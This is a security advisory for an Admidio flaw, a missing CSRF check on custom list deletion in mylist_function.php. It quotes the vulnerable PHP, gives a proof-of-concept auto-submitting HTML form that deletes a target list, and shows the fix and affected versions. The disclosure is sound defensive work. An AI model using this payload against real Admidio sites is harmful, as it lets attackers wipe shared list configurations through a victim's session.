Admidio has Missing CSRF Protections on Custom List Deletion in mylist_function.php
Reported by: Juan Felipe Oz [@JF0x0r](https://x.com/PwnedRar_)
> [LinkedIn](https://www.linkedin.com/in/juanfelipeoz/)
The delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.
File: modules/groups-roles/mylist_function.php
The CSRF token validation at lines 81–82 is scoped exclusively to the save, save_as, and save_temporary modes:
```php
// Line 81-82 — only runs for save modes
$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {
throw new Exception('Invalid or missing CSRF token!');
}
```
<img width="857" height="162" alt="imagen" src="https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d" />
The delete case at lines 159–161 executes the destructive operation with no token check:
```php
} elseif ($getMode === 'delete') {
// delete list configuration
$list->delete(); // no CSRF validation
echo json_encode(array('status' => 'success', ...));
exit();
}
```
<img width="560" height="133" alt="imagen" src="https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69" />
A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LAST_NAME is sufficient.
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lst_global = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.
> First my video PoC, after that, the proof of concept with detail.
[Watch Video](https://drive.google.com/file/d/1wEdTIH7O0PvlnyjR2I_VpcAl3tvr6saA/view?usp=sharing)
1. Step 1: Attacker serves this page from any HTTP origin:
```html
<!DOCTYPE html>
<html>
<body>
<form id="f" method="POST"
action="http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID">
<input type="hidden" name="column[]" value="LAST_NAME">
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
```
> Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?
2. Step 2: Victim visits the attacker page while logged into Admidio.
3. Step 3: Server responds immediately:
```json
{"status":"success","url":".../modules/groups-roles/mylist.php"}
```
4. Step 4: List is permanently deleted. Verified via:
```sql
SELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';
-- Empty result set
```
> No adm_csrf_token field is required anywhere in the request.
> It's so simple.
SecurityUtils::validateCsrfToken() pattern already used in the save modes:```php
} elseif ($getMode === 'delete') {
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$list->delete();
echo json_encode(array('status' => 'success', ...));
exit();
}
```
Additionally, the column[] input guard at lines 40–48 should be moved inside the in_array($getMode, ['save', 'save_as', 'save_temporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.
<img width="751" height="240" alt="imagen" src="https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8" />
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L
CVE-2026-34382 is classified as CWE-352: Cross-Site Request Forgery (CSRF). A state-changing request is accepted without proof it was intended, so another site can trigger it using the victim's session.
CVE-2026-34382 is recorded against 2 packages.
Published on 31 March 2026 and last revised on 24 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
admidio has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-352: Cross-Site Request Forgery (CSRF)) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| admidio | 5.0.0 | 5.0.8 |
| admidio/admidio | 5.0.0 | 5.0.8 |
References
Similar Threats
Exploit Protection
CVE-2026-34382 carries CVSS 4.6 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
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